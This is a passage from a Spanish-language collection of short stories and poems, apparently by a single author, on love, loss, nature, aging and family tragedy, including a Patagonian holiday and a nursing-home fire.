pensamientos se concentraron en ella. Descubrí, bajo la astrosa apariencia, la mirada furtiva y vigilante del animal salvaje. Me fijé un propósito, aún a sabiendas de los problemas que mi decisión me acarrearía. A fuerza de perseverancia ganaría su voluntad y lograría que paulatinamente, considerara los beneficios de vivir de otra manera. Volví los días siguientes y en el mismo lugar, dejé alimentos y una caja con jabones, peine y un cepillo dental, después algo de ropa y unas cómodas zapatillas. Mis ofrendas duraron una semana. Algo que debía resolver en la ciudad, me alejó un mes de mi cometido. De regreso, volví a mis interrumpidas caminatas con más alimentos y ropa. Me detuve tras el roble y esperé. En vano. Al día siguiente, todo estaba como yo lo había dejado, sobre la piedra y dentro de la caja. Agregué lo nuevo que llevaba y esperé sin éxito. Comenté con algunas personas, nadie pudo asegurar haberla visto en las últimas semanas. Vino a mi mente, una experiencia de comportamiento, el reflejo condicionado, enunciado por el célebre fisiólogo, Pavlov. Lo hizo con perros a los que acostumbró a alimentar a determinados horarios, enseguida de hacer sonar una campana. En otra etapa, ejecutó el sonido, pero sin darle alimento, esto produjo en los animales, un estado de confusión e inquietud al estimular la secreción de jugos gástricos sin obtener comida. Me sentí culpable, pues, en cierto modo, esta mujer primitiva, sin roce ni cultura, quizá habría pasado por el mismo estado de confusión que los canes del sabio. Al siguiente día, me aventuré por donde la vi. alejarse tantas veces y después de caminar más de una hora, divisé un rancho desvastado. Unos perros escuálidos y sarnosos vinieron hacia mí. Los amenacé con una vara y corrieron aullando a refugiarse entre las matas. Traspasé lo que quedaba de algo que alguna vez hizo de puerta y allí la vi, tirada en un jergón de trapos sucios. No atinó a nada, su estado de desnutrición era extremo. Apoyé en su boca la botellita de agua mineral que siempre me acompaña en mis caminatas, se ahogó apenas pasó el segundo trago. Su pulso era imperceptible. Desde mi celular llamé a un servicio de emergencias comprometiéndome a esperarlos sobre la ruta y guiarlos hasta el lugar. La cargaron en la ambulancia que iba dando tumbos, sorteando piedras y arbustos. Nada pudieron hacer por ella. Falleció al día siguiente. Fui con un agente de policía hasta el rancho a buscar documentos para que el médico extendiera el certificado de defunción y por si alguien, de donde fuera, pudiera querer enterarse de lo acontecido, cosa poco probable. Dentro de una abollada caja de bizcochos Canale, encontramos un pasaporte entre fotos y cartas amarillentas. In nome di Sua Maestá Vittorio Emanuele III per grazia de Dio e volunta Della Nazione Re d´ Italia Il Ministro degli Affari Esteri rilascia el presente PASSAPORTO al Signor Marcello Bonnino. Databa del año 1931. No encontramos nada relacionado con su hija, tampoco en los registros de los pueblos aledaños. La municipalidad se hizo cargo del entierro. Convoqué a gente de buena voluntad para ofrecer una oración. En el cementerio local fueron depositados sus restos. Hice grabar un madero con un nombre y una leyenda que se me ocurrió, para que aunque muerta, tuviera una identificación.. “ Aquí yace Marcella Bonnino, buscadora de hongos, 14/ 04 /2007” Siempre me espera el camino, en su cambiante paisaje. Las flores que trajo la lluvia, hoy, me ofrecen su homenaje engalanan el sendero que hasta el Edén, me conduce. La profusión de colores y delicados perfumes de madreselvas humildes y campanillas azules, se brindan al visitante que llega hasta aquel refugio. No es muy sencillo llegar, alguien quedó en el camino, Otros tantos se volvieron sin haberlo conocido. Quien sabe hacia dónde va, siempre llega a su destino Hay que poner voluntad y el obstáculo, es vencido. Todo lo que más me gusta, es lo que más me hace daño, como amarte, por ejemplo, en eso nunca me engaño. Y aunque no seas para mi, lo que yo ansío que seas, si así lo dispuso Dios, será como Dios lo quiera. No sólo lo he de aceptar, con humilde aceptación Lo que El disponga es la ley y yo, soy la sumisión. Dónde van a morir los sentimientos? Ternura, Amor, Deseo, Ardor de juventud? Pasiones consumidas en su fuego. En el mismo lugar, igual que extraños, para no sucumbir de indiferencia, fantaseo, ilusiono, desempolvo recuerdos, finjo ignorar, la eterna ausencia. .El hombre que amé Al que mi alma entera ayer, le he dado, en patética sombra se ha trocado. Asumo que tampoco soy la misma Los años, como el viento, ajan la vida, La pasión, la ternura, el sentimiento..... La que amaste celoso, enamorado Es patética sombra del pasado Encerrado en tu mundo de miserias, El chacal que alimentas, aferrado a la tierra, anima tu rencor y lo sustenta. Yo,abono amor y paz. Sumerjo el alma en agua fresca y pura Doy vida a una paloma que eligió hacer su nido en las alturas. H.L. Doña Rata sale poco, cada vez con menos brío, Tal parece que este invierno, le ha caído mal el frío. Renovó toda su cueva, agrandando los pasillos. Cambió las viejas cortinas, por trasparentes visillos. Tiene amigos y parientes y un tierno y gran corazón En el limpiapiés, ha escrito, con letras rojas: "WELLCOME" Ayer, la vi, que pasaba, con un trocito de queso, que apretaba en sus manitos y lo llenaba de besos. - No te confundas,- me dice, Perico con gesto arisco, -No le estaba dando besos, sino unos buenos mordiscos. De Ogiggia, la ninfa bella, Calipso, su nombre, es. De Ulises, enamorada y enamorado él también. Siete años, el héroe, vive, en la isla de ensoñación, pero de pronto comprende, la pasión se terminó. Pasa los días mirando, el mar, que azota las rocas, Calipso, lo observa y piensa, que otra vez estará sola. El viento le trae palabras, -“Despierta, debes volver. Allá en Itaca te aguardan, Telémaco y tu mujer”. Con la mirada perdida, en el vaivén de las olas, Calipso sabe que pronto, volverá a estar triste y sola. En el balcón, tibio y soleado, deja a Emilia, la fiel doncella, desenredar su larga cabellera, lavada y perfumada con caras esencias. Su mirada azul, se pierde en el paisaje acuático que se extiende, interminable hacia el Adriático. Las góndolas se deslizan por los canales, atiborradas de mercancías. El dux, amigo de su padre, el senador Brabancio, impulsa un comercio que día a día se acrecienta para gloria de la República Veneciana y de sus ambiciosos mercaderes. Se acostumbraron a ver, llegada de lejanas tierras, gente exótica, de pieles y ojos oscuros, tan distintos a los residentes habituales. Días atrás, Emilia no pudo impedir, a una gitana, tomar su mano para leerle la palma. Gesticuló y llevó la suya al pecho en el momento que un negro pasó a su lado, volvió a mirar la blanca mano tendida y palideciendo, retrocedió hasta desaparecer por una estrecha callejuela. La niña piensa, qué leyó en su mano, por qué se desencajó su rostro y huyó despavorida sin tomar la moneda para ella destinada. La voz de Emilia la saca de sus cavilaciones. - Signorina, hoy nos visitará un General al servicio de la República. Todos hablan de su gran valor e inteligencia. - Su padre, lo invitó a cenar. - Creo que su nombre es…. Otelo. - Mañana saldrá un avión, / mañana de madrugada. Llevará los infortunios / que nos laceran el alma. Si en tu vida hay algo de eso, / llévalo sin más tardanza que en la bodega hay lugar / y vayan apretujadas, la tristeza, el desamor, la ira y la desconfianza la vejez, la enfermedad / la niñez abandonada, la indiferencia, el abuso, el desprecio, la ignorancia, la humillación, el olvido / la inocencia mancillada, las promesas incumplidas, / el temor, la represalia, el hambre, la desventura,/ la burla y las amenazas, la codicia, la mentira / y tantas maldades, tantas que harán difícil cerrar / esa bodega atestada. Y cuando levante vuelo / con su carga tan pesada, ¡no llegue a ningún lugar,/ que nadie vaya a buscarla! Como caja de Pandora. / Que no vuelvan a encontrarla, que se diluya en el tiempo,/ que se disuelva en la nada. . i HASTA QUE LA MUERTE LOS SEPARE Esa frase conocida que acabamos de escuchar en el momento preciso en que no se le dará, la importancia que supone, ni en lo que devengará. La vida, tarde ó temprano, seguro, facturará las promesas inconscientes que hicimos, sin calcular, que el tiempo corre y se lleva la escasa felicidad dejándonos los pesares y las deudas por pagar. Me acabo de enterar que estás enfermo, que no quieres vivir, que estás tan triste… que nada te consuela ni te alivia, del dolor, por la dicha que perdiste. Lo siento, Dios bien sabe que lo siento, más nada puedo hacer para evitarlo, Encontré un nuevo amor que es mi alegría y por nada, en el mundo, he de ocultarlo. Lo que hubo entre nosotros, ya no existe. Evitemos inútiles intentos de revivir momentos que pasaron El ayer ya se fue y está enterrado Hoy, para mi, tan sólo es el presente, el futuro, me tiene sin cuidado. No te dejes vencer por la tristeza. no le va a tu carácter ni es tu estilo prefiero conservar en la memoria el recuerdo de aquél que un día has sido. No faltará quien vaya a consolarte, siempre en lista de espera, varias hubo, a rescatarte del pozo depresivo, se animarán. Y volverás a ser el de antes, no lo dudo, No se si me gusta más lo que tu boca me dice, con todas las restricciones, que la situación, exige. O lo que dicen tus ojos. Ellos no saben mentir. Dicen todo lo que sientes. No aprendieron a fingir. También tus gestos revelan, Lo que sientes, lo que quieres, todo lo que estás pensando…. Si hasta a veces, me da apuro que seas tan transparente. Eres como un libro abierto que estoy dispuesta a leer. Dame tiempo a descifrarte, Los dos vamos a aprender. Soy una convencida del poder de la Sabia Naturaleza, de los ejemplos que a diario nos brinda y por miopía intelectual ó falta de interés, dejamos pasar. De uno de esos maravillosos ejemplos tuve la oportunidad de enterarme recientemente. Me hablaron del Bambú Japonés. “Si eres impaciente, abstente de plantarlo.” Las buenas semillas que hoy depositas en esa tierra fértil, preparada para recibirlas, te darán una lección. Pasaron siete meses. Regaste, esperaste, observaste….. ¡Nada! Más de uno piensa que fallaron las semillas, se siente estafado, desilusionado…. Deberás esperar un poco más. Algo así como siete años y entonces verás, en seis semanas alcanzar al Bambú Japonés, una altura de más de treinta metros. Durante esos siete años de aparente inactividad, se dedicó a desarrollar un complejo sistema de raíces que arraigándose en la tierra van a permitirle sostener el crecimiento posterior a los siete años. No habrá lluvia, viento ó temporal que pueda con él, sus raíces, afianzadas a la tierra, lo mantendrán firme, como un disciplinado guerrero. Su afianzamiento es el resultado de su crecimiento interno. Válido ejemplo para quienes, carentes de perseverancia y paciencia buscamos resultados inmediatos, soluciones rápidas y al no conseguirlas abandonamos la empresa sin saber que podemos estar cerca de la meta, que estamos echando raíces que sostendrán el andamiaje de nuestro futuro éxito. Todo es cuestión de tiempo…. Y de paciencia. Todos los niños del mundo, decidieron convocar a sesiones generales y más tiempo demandar,para ellos, de sus mayores, incluye a mamá y papá. Para que los acompañen y los lleven a jugarSe reunieron en Ginebra, los delegados mundiales,alguno debió volverse, se olvidó de los pañales, rechazaron su tarjeta y ese banquero impecable, le ordenó que se marchara con su pañal a otra parte.Uno perdió su chupete entre tanta confusión.El más pequeño de todos, desde que llegó, lloró,perturbando los discursos del magnífico orador. Nadie escuchaba palabra, la reunión se postergópor tiempo indeterminado y el congreso, se cerró.A que pasen unos años, decidieron esperar.Todos volverán a casa y se pondrán a estudiarpara encontrar soluciones que se van a implementar en el próximo Simposio, al que se va a convocarpor mail, a los delegados que van a representara los infantes del mundo que quieran participar. Pasan y pasan los días, unos se los lleva el viento, otros una suave brisa, o un simple y ligero aliento. Pasan y pasan los días y yo los dejo pasar porque ninguno me trae lo que quisiera lograr. A ciencia cierta, no se que es lo que busco y espero. Si es anhelo, una ilusión O simplemente un deseo. No tengo respuesta alguna, pese a haberlo preguntado. Solo una voz, en mi oído, zumbona, me ha contestado “Llegará aquello que esperas, El día menos pensado” Tras un detenido examen, que me ocupó, en la mañana, dedicado a observar, las arrugas de mi cara, vi., en este mapa facial con la visión aumentada, algo que me interesó, si bien, ya me lo esperaba, los estragos que provocan acciones buenas y malas. En la frente, alcanzo a ver, sorpresas y desconfianzas. En el ceño, la fatiga, el enojo, la amenaza, por alguna travesura que me dejó sin palabras. Alrededor de los ojos, acentúan la mirada y dan una sensación, de madurez, sazonada con experiencias de gozos que trascienden desde al alma, un cúmulo de deseos, ansiedades y distancias. En los rictus de la boca, alegrías, añoranzas, sonrisas acariciantes, algunas intencionadas, y rechinar de los dientes por paciencias agotadas. En el detenido examen, que me ocupó, en la mañana, logré este mapa facial, que es la historia, bien contada de la vida que he vivido y no deseo cambiarla, por el contrario, me siento, con ella, identificada. Me abstengo de los retoques, de la cosmética vana, de picaduras de avispa y siliconas variadas. Me muestro, tal como soy, a nadie le envidio nada. Cada ser llega a este mundo, con una misión marcada. He decidido aceptarme, como soy, no disfrazada de algo que nunca seré y no me sirve de nada. La inteligencia es un don y debemos cultivarla. Como forma de expresión, el poder de la palabra, amerita comprensión. Sabremos valorizarla. Me dedicaré a escribir, con la mente despejada. Si alguien quisiera acercarse, sin apuro ni desgana, con la mínima atención, para entender de qué trata, si le agrada, le conmueve. Si no le provoca nada, tal vez, en un nuevo intento, procuraré conformarla. Lo mismo, seré feliz. Encontré lo que buscaba, la manera de expresar, todo aquello que nos pasa. Yo no voy a repetir, las palabras que has oído Que te quiero, lo sabrás por mis actos y te digo que me tendrás que creer sin que medie otro motivo. Antes de mi, habrás amado, eso lo tengo asumido y en tu memoria, hay recuerdos que resisten el olvido. No procuraré borrarlos, pueden convivir conmigo. Los recuerdos son fragmentos de todo lo que vivimos, Ocuparán el lugar que nosotros decidimos Nuestro amor renacerá sobre restos de otros idos El paso del tiempo, obra como cicatrizante de las heridas del alma. Dejé pasar años, interminables, agobiantes, recién ahora, estoy volviendo a reconciliarme con la vida. Fui una niña normal, dentro de una familia común, reducida a papá, mamá y yo. Nunca los escuché levantar la voz ni discutir. El, proveedor por naturaleza, pasaba muchas horas fuera del hogar y el resultado era una vida cómoda y desahogada, de compras, paseos y juegos que compartía con mamá. Llegó la adolescencia y mis intereses cambiaron, prefería salir con amigas y compañeras del colegio, situación aceptada en la familia. Conocí chicas y chicos, mi vida social, se hizo más divertida, empecé a frecuentar clubes y boliches para practicar deportes y bailar. Me daba lugar para todo, mis notas excelentes, favorecieron el permiso de mis padres, para asistir a los eventos. Iba todo sobre ruedas, disfrutaba y hacía mis deberes. Al festejar los quince años, pedí como regalo, una raqueta de tenis, la mejor. Me había anotado en el club y tomaba mis primeras lecciones. Una tarde, después de hacer la práctica diaria, se acercó una pareja que no conocía. Se presentaron, él pidió jugar un doble. Alentada por mi profesor, acepté. Después de un par de horas, estaba muy cansada y tensa, terminamos de pelotearnos y se acercaron a saludar. Ernesto, de veintiún años, apenas lo vi, me causó una impresión desconocida. Algo indefinido y profundo, tuve la sensación de conocerlo ó de recordarme a alguien importante para mí. Estaba muy bien además y lamenté que estuviera acompañado, imaginando que sería su novia. Al aproximarse los exámenes de fin de curso, dejé el entrenamiento, por unas semanas y lo retomé al finalizar las clases, con entusiasmo renovado. En la fiesta de despedida del año, en el club, lo volví a ver. Me reconoció y se acercó a saludar, bailamos y conversamos toda la noche. Teníamos gustos similares y nos conmovían las mismas cosas. Fue una noche perfecta y yo deseaba prolongarla pero iban a cerrar el club y mis amigos debían llevarme a casa, Ernesto también nos acompañó. Quedamos en juntarnos esa misma tarde. Mi madre notó algo en mi. A ella le contaba todos mis secretos, le dije que había conocido al hombre de mi vida. Me besó y deseó toda la suerte del mundo. Nos hicimos inseparables, en el club y en todas las salidas estábamos juntos. Estudiaba y vivía con su padre, su madre, había fallecido siendo él un niño y la recordaba con profundo sentimiento. Llegó el día de llevarlo a casa, su deseo era formalizar la relación, también yo lo deseaba y hacíamos proyectos de futuro. Su padre, ingeniero y piloto aeronáutico quería conocerme y fijamos un día para reunirnos. Llegó ese día. Todo lucía perfecto y puse especial atención en mi persona, quería que mi padre político me considerara ideal para su único hijo. Llegaron puntuales. Papá no estaba, había salido en busca de un postre helado y se demoró en volver. Fue al presentarlos que noté en mi padre un cambio, una reacción, algo difícil de explicar y que atribuí a celos por descubrir que su niña estaba prometida y en vías de ser mujer. Lo noté muy tenso durante la comida. Cuando Ernesto tocó el tema de un próximo casamiento, no más de dos años, lo que le faltaba para recibirse, se levantó de la mesa y pidió excusas alegando que no se sentía bien. Se fueron antes de lo previsto en consideración al malestar del dueño de casa. Papá, no podía contener sus emociones. Me miró y me dijo que debía olvidarme de esa relación. En menos de un mes iríamos a vivir a Colorado, con su hermana mayor, que enviudó y nos reclamaba. El se haría cargo de los negocios de su cuñado y nos estableceríamos allá. Pensamos con mamá que había sufrido alguna grave alteración de sus facultades mentales. Era la primera vez, en años, que mencionaba a Rebeca, con quien no tenía de las mejores relaciones. Ante su intransigente posición, le comuniqué – ¡Yo no me muevo de aquí, vayan ustedes, los visitaré junto a mi esposo! Sufrió una convulsión y estuvo dos días postrado. Los acontecimientos se precipitaron, su negativa, a la que yo no encontraba asidero, me provocó un rechazo hacia su persona que crecía a la medida de su intolerante posición. A mi pesar, se lo conté a Ernesto. Decidimos casarnos ya, no tendría potestad sobre mi y tampoco podría llevarme al extranjero. Busqué mis documentos. Nos casó un juez de paz de un pueblito de Córdoba. Teníamos que consumar el matrimonio, condición indispensable para confirmarlo. Lo que debió ser una experiencia sublime, por la carga emotiva y negativa que soportábamos los dos, no lo fue. Me dormí llorando sobre su pecho. Al otro día, regresamos a casa. Papá, completamente destruído, los ojos desorbitados al escuchar mis palabras, corrió hacia el dormitorio y volvió con un revólver en su mano. Me interpuse entre él y mi flamante esposo. Descargó el arma en su propia sien, después de dejar en mis manos una carta Demasiado tarde. La pude leer al día siguiente. Ernesto era su hijo. Fruto de un amor incontrolable y culposo y causa de la muerte prematura de Ligia, su madre. Me encerré en mi dolor. Me negué a verlo, no respondí sus llamados. Hace quince años de aquello. Tengo que volver a vivir, no se cómo. Pero lo intentaré. Cuando todos se hayan ido, vendré para acompañarte, no quiero ser una más, y si la más importante. Porque eso eres para mi. No te comparo a ninguno solo a tu lado, vislumbro, mi presente y mi futuro. Mi corazón te eligió y la voluntad, acepta. Mi vacilante razón, se mantiene en un alerta. Razones del corazón, que se deja convencer, ajenas a mi razón, que se niega a comprender Era yo una adolescente, cuando me dijo mi abuelo, muy apegado a esta nieta, su alegría y su consuelo. - En la vida, haz lo que debas, Jamás lo dejes de hacer. Nunca esperes, nada temas. Es de débiles temer. Si algún peligro, percibes, reflexiona y piensa bien, antes de las decisiones, el peligro hay que vencer. Perdona si alguien te hiere. Es de personas de bien. Alimentar los rencores, siempre los hizo crecer. Antes de partir, me dijo: -Cree en Dios y en él confía Porque de él viene lo bueno y lo malo de esta vida. Hoy ha llovido y salieron, las ranitas a croar, Es un coro muy ameno que nos viene a acompañar. El follaje de las plantas, luce en todo su esplendor, la lluvia las ha lavado y la brisa las secó. Mecen sus ramas, los árboles, al ritmo de la canción, las impulsa un viento suave, que entre sus hojas pasó, empujando a las gotitas, que la lluvia repartió, por el frondoso ramaje y a la tierra las volvió. Los niños salen al parque pero ahora no podrán, balancearse en las hamacas ni lanzarse en tobogán. Los charcos que se han formado no los dejan acercar. Mañana, cuando se sequen seguro, van a jugar. Hermosos, limpios, radiantes, los juegos, esperarán. Aquél año decidimos pasar un par de meses en Bariloche. Mi esposo, cirujano cardiovascular, había llegado a un punto en que le era imposible superar el estrés causado por el exceso de trabajo. Las presiones, los viajes y conferencias a las que periódicamente, era invitado, le absorbían tiempo y dedicación que prefería brindarla a sus pacientes. No fue fácil convencerlo para que delegara, momentáneamente, sus responsabilidades. Su natural generosidad, le abrió posibilidades a muchos jóvenes médicos, que apenas recibidos, fueron tentados para formarse en su especialidad y en las nuevas técnicas renovadas continuamente. Tras conversar, meditar y convenir, depositó su fe en el equipo que lo acompañó en todas las intervenciones. Aliviado, después de tomar la decisión, hizo de cuenta que su objetivo, en adelante y por sesenta días, iba a enfocarse en hacer lo que más le gustaba, para lo que había esperado diez largos y agobiantes años. Estábamos en el mes de abril, comenzando el otoño que prometía ser muy especial. Habíamos contactado con una inmobiliaria que nos llevaría a elegir el lugar ideal, mientras, nos alojaríamos en una hostería donde, años atrás, pasamos nuestra luna de miel. Hicimos varias paradas, el camino, en general, bueno pero había otros de ripio en que debimos estar muy atentos para evitarnos inconvenientes. La confortable hostería, muy renovada, con ampliaciones y mejoras, daba cuenta del empeño de su propietario por superar la oferta, en ese maravilloso y privilegiado lugar de Río Negro, En la inmobiliaria, nos consiguieron una cabaña en la zona de Llao- Llao, frente al lago Nahuel Huapi. Desde cada ventanal descubríamos las bellezas de un paisaje privilegiado, donde la naturaleza, competía consigo misma para brindarnos su esplendor reflejado en las serenas aguas del lago. Los días pasaban demasiado rápido, para mi gusto. Alejados, ambos de nuestras habituales tareas, nos adaptábamos a una vida sin presiones y sin la rigidez esclavizante de los horarios. En mis diarias caminatas, descubrí un bosquecillo de cerezos y me dediqué a cosechar los frutos. Preparé una cantidad en alcohol y en confituras para regalar a mis amigos. Teníamos un bote con motor fuera de borda y salíamos a pescar y a recorrer el extenso lago. Hicimos excursiones al bosque de arrayanes, esos maravillosos árboles de corteza canela rojiza, que al filtrar los rayos solares, por su intrincado ramaje, crean visiones fantasmagóricas y figuras espectrales. Es, único en el mundo y fue declarado monumento natural, preservado para las generaciones venideras. El recorrido de este parque nacional, se hace por senderos entablonados y es celosamente protegido por los guardaparques. En otras salidas recorrimos los campos de lavanda, las reservas naturales, donde el ciervo rojo pasea majestuoso, criaderos de truchas, asentamientos mapuches y los numerosos puertos y rincones increíbles de ese sector de nuestra Patagonia maravillosa. Con sólo la visión del entorno, nuestra permanencia, estaba justificada, en plenitud. Día a día, el cambiante tono de los bosques, en el otoño, creaba una sinfonía de colores de impresionante belleza. Es el momento preciso en que el espíritu humano comulga con el esplendor de la naturaleza y siente la gracia inefable de poder compartir ese incomparable privilegio. Nuestro tiempo de vacaciones se acortaba y llegó, como debe ser, el tiempo de regresar. El viaje, con música de Mozart, como fondo, lo hicimos en un conmovido silencio. Me hice la firme promesa de volver. Las imágenes grabadas en la retina, todavía me acompañan y las traigo a mi pensamiento para contrarrestar situaciones desagradables, inevitables en nuestro cotidiano trajín. Hay algo que te atormenta que te niegas a decirme. Será peor silenciarlo. Que puede ser tan terrible? Mas de una vez, me pasó, acallar preocupaciones En vano. Siempre aparecen, donde menos se supone. Estoy dispuesta a escucharte cuando decidas hablar. No soy quien, para juzgarte. Solo trato de ayudar. En la vida, los problemas, se pueden solucionar. Si una mano puedo darte, con gusto la voy a dar. Soy tu amiga, soy tu hermana, Nada tienes que ocultar. El gordito de mi cuadra, que es gentil y cariñoso tiene una mala afición, la de comer como un oso dispuesto a la hibernación. Además de ser goloso. Este gordito gentil, responde al nombre de Paco Se enamoró de una flaca nombrada como Isabel. Es muy linda, la flaquita, toda hueso, sobre piel Como él está enamorado, la ve linda y la ve bien Esto último, yo lo dudo, pero prefiero callar y que nadie me señale como causa de su mal. Isabelita es callada, huraña y un tanto arisca. Un día de viento fuerte, Paco, supo que era bizca, cuando puso al descubierto, bajo el pelo, su carita. Ese pelo que le cubre hasta su bella sonrisa. Bueno, de bella…. diremos que hay muy poco por decir Le faltan algunos dientes, pero nunca se enteró. Si casi no come nada, nunca en falta, los echó. De todos modos, se llevan… diremos, bastante bien El parece lima nueva y ella, yo quiero creer que está muy enamorada ¡ quién lo pudiera saber! De tu mirada, he buscado, en lo profundo, lo que nunca dijeron tus palabras, Solo encontré, insondables pensamientos, los que niegas, o simplemente callas. Instalas un obstáculo, insalvable, como ácido corroe mi esperanza. Yo, nada puedo hacer, es lamentable, que esa actitud persista sin mudanza. Procura ser feliz. Si no es conmigo, será con quien encuentre en tu mirada, lo que he añorado ver y no consigo, la inapreciable luz de la confianza. La mujer, mayor pero muy vital, se movilizaba ayudada por un trípode con el que se desplazaba por la planta baja, de su hogar, dispuesta por ella misma, limpia y confortable. Hacía un mes, unos obreros bolivianos, terminaron de renovar dos dormitorios con sus respectivos baños, en la planta alta, a la que ella, por su incapacidad manifiesta, no podía acceder. Ese día esperaba, ansiosa, la llegada de sus dos nietos, provenientes del interior, a quienes estaban destinadas las nuevas instalaciones y que ocuparían en los próximos seis años, mientras durara la carrera universitaria. La estridencia del timbre, la llevó hacia la puerta principal. Los muchachos, abrazaron a la abuela que correspondió con igual efusividad. Pasaron al desayunador donde una mesa con especialidades, les ofrecía una apetitosa bienvenida. Satisfechos, la señora los invitó a subir el equipaje para que se ubicaran en el lugar que les estaba destinado. Esperó, orgullosa, que bajaran para escuchar sus comentarios. Había invertido sus ahorros para brindar a sus nietos la comodidad y el confort que merecían por el buen desempeño escolar. No tardaron en bajar. Sus caras, no eran reflejo de lo que ella esperaba, sino de total contrariedad. - ¡Abuela, creímos que el piso ya estaba habitable! - Mañana vendrán del service a colocar el AA.¡ Es lo único que falta! - ¡No abuela. Arriba es un desastre! ¡ Las paredes picadas, los baños, desarmados, todo el material y los cerámicos sin desembalar!. La mujer palideció presa de un terrible malestar. Los inescrupulosos de siempre, cometieron otra canallada, aprovechando la credibilidad y la indefensión de una discapacitada. Ahora estaba dispuesto a concluir la relación. Su mujer, lo sospechaba por algo que él descuidó. Para no complicar más, la difícil situación, salió de sus oficinas con gran determinación. En el auto, masticaba las posibles implicancias. Los reproches, los lamentos, alguna que otra amenaza…. Barajaba argumentos para poder refutarlas. Reconoció “algo” de culpa. Despertó en Leona, un amor, que a esta altura del partido, de sus manos escapó. El, para ella, era su vida, la razón de su existir, Nada de lo que dijera, de él, la haría desistir. Iba a ser dura, la puja. Tan enamorada estaba que dijo, se iba a tatuar, su nombre, sobre una nalga con un corazón herido por una flecha plateada. ¡Y cómo lo extrañaría, si apenas él la llamaba, ella ya estaba dispuesta, para lo que se le antojara! Mascullando reflexiones, hasta la casa llegó de la amante, condenada, a perder su condición. Mientras aparcaba, atento, vió a Leona, que abrazó a un señor, que la esperaba frente a un lujoso auto sport. Juntos subieron, al coche, que entre muchos, se perdió. Se quedó como atontado, no lo podía creer. Comprendió cuánto la amaba. ¿Qué le pasó a esta mujer? Unas lágrimas, amargas, no podía contener. Arrastrando su desgracia, se metió al bar de la esquina. Se mandó cuatro fernets, tres whiskys, varios tequilas… y tambaleando se fue... sin saber para dónde iba. Sin duda, era Amor Platónico, lo que ese joven sentía. Cuando ella se le acercaba, él, presto, se retraía. Supongo, la idealizaba. No era lo que ella quería Y por más que lo intentaba, él siempre se le escurría. Era una de avanzar y otra de retroceder Y en esa doble función, se agotaba la ilusión, la paciencia y la pasión de esta bonita mujer. Terminó por comprender, lo imposible de su intento el día que descubrió al jovencito del cuento con minifalda, tacones, peluca de blondo rizo apretando al encargado en el hall del entrepiso Y que es lo que yo no haría por estar hoy a su lado? No lo quiero ni pensar, y hago todo por lograrlo. Salgo de noche a buscarla y amanezco en los caminos. Sin saber nada de ella, borracho, sucio y vencido. De mañana, en los paseos y en las tiendas averiguo doy sus señas pero nadie, dice haberla conocido. Con el párroco del pueblo, ayer por la tarde hablé, Me contó que hace dos años, llevó óleos a una mujer, que, de acuerdo a la señas que le di, podría ser. No quise oírlo y huí , esas son sólo mentiras ¿cómo podría morir, si en mi, la siento tan viva.? En mis recuerdos de ella, no hay adiós ni despedida. Uno se atrevió a decirme que me acerque al camposanto Y me dio tanto coraje, tanta furia y tanto espanto, para que no lo matara, tuvieron que sujetarme. Ahora estoy muy tranquilo. Anoche mismo soñé. Ella está bien y me espera. A su encuentro, hoy iré. Al fin Juan se decidía, estaba resuelto a hacerlo, inútil es esperar y dejar que pase el tiempo. Excelente la ocasión, también la oportunidad de declararle su amor a la Estela, una beldad. Era el día de la Virgen, otra razón contundente, muchos devotos llegados, mejorando lo presente. Se vistió con mucho esmero, la situación lo amerita, Comenté que se bañó? También se echó agua bendita. Buscó su caballo pinto y rumbeó pa la ciudad. La gente que lo cruzaba, no dejaba de mentar que el Juan era el calco vivo del actor de actualidá. Llegó al rancho de la Estela, la moza más pretendida, que barría la vereda con su escoba de jarilla. El pelo, lacio y lustroso, el vestidito cortón y la sonrisa en la boca, color de melocotón. El Juan, al ver a su amada, la dueña de su ilusión, sintió moverse la tierra y un vuelco en el corazón. ¡La pucha, que pegan fuerte, estas cosas del amor! ¡Uno se cree muy duro y es más tierno que un mamón! Vio la gente que corría, que la calle, se abrió en dos, Entonces cayó en la cuenta : ¡No es Amor, Es un temblor! Hoy ha querido, mi suerte, que te volviera a encontrar. Esta alegría que siento, difícil es de ocultar. Nos abrazamos… En el beso, tan sentido, que me diste, comprobé, que de mi vida, en verdad, jamás te fuiste. Sentimientos, sensaciones, del letargo, despertaron. Un beso, rompió el hechizo y seguimos amarrados. No he de cometer errores, los que de ti, me alejaron, quiero que seas feliz y ser feliz a tu lado. Al amparo de tu abrazo, vuelvo a encontrar mi lugar. Bendigo mi buena estrella que me guía una vez más. Yo no he pedido nacer y no deseo morir. Alguien, a quien no conozco, puede decidir por mi? Si es un placer el vivir, si tengo salud y amor además de aquellas cosas, que me hacen sentir mejor, Me sabe dulce, lo dulce y gozo de las dulzuras, Me saben dulces tus besos, tus caricias, tu ternura. Me amarran fuerte a la vida y alejan las amarguras. Gozo los amaneceres cuando veo, el sol, nacer y al ocaso, cuando apaga su luz el atardecer. Gozo de las amistades, del buen vino, del confort de los viajes, las reuniones, de un buen libro y del amor. Gozo de todo lo bueno que nos ofrece la vida Y no quisiera morirme, ni que por mi, lo decidan. Esta semana se inició con una terrible noticia. Un geriátrico, ubicado en una de las zonas más residenciales de la ciudad, comenzó a incendiarse cerca de las 05hs . El humo y el fuego, causaron la muerte de seis ancianos que dormían, y que por sus incapacidades físicas, estaban imposibilitados de movilizarse sin ayuda. Poco después dieron la nómina de las víctimas. Cuando dijeron el nombre del tercero, la memoria me retrotrajo a mis tiempos de adolescente. De paso a la escuela, el transporte que me llevaba a diario, se desplazaba por una avenida donde se edificaba un nuevo barrio. En los grandes carteles, se podía leer las características de los edificios que iban a levantarse y los datos de los profesionales a cargo. El transporte tenía allí una parada y mi curiosidad fue atraída por un nombre: “Calógero Restilfo Pilatos, Ingeniero Civil”. No era un nombre común y lo anoté en mi cuaderno para ofrecerlo a mi tía Delfina que próxima a ser mamá, barajaba nombres sin decidirse por ninguno. Lo dejé a su consideración, aunque no lo eligió. Años después, en una entrega de diplomas, en la facultad de Ingeniería y Ciencias Exactas, el amigo que se diplomaba, eligió a Calógero, uno de sus profesores, para que le entregara su flamante título. Allí el destino me puso frente a él y al recordar las circunstancias por las que tenía presente su nombre, aproveché la ocasión para hacérselo saber. Pasaron muchos años. En el informativo de las 0.8hs del lunes, volví a escuchar su nombre, el tercero de una lista de seis ancianos que se incineraron en un geriátrico del exclusivo Cerro de las Rosas. Hablábamos en grupo de amigos, de cosas que nos habían impactado. Recordé una nota, leída hace tiempo, en las páginas de un diario local. Sucedió en una zona marginal de la provincia de Buenos Aires, en un asentamiento precario, de gente llegada de otros lugares para buscar el sustento en trabajos muy duros. Apartada del resto, en una casilla de maderas y cartones, se 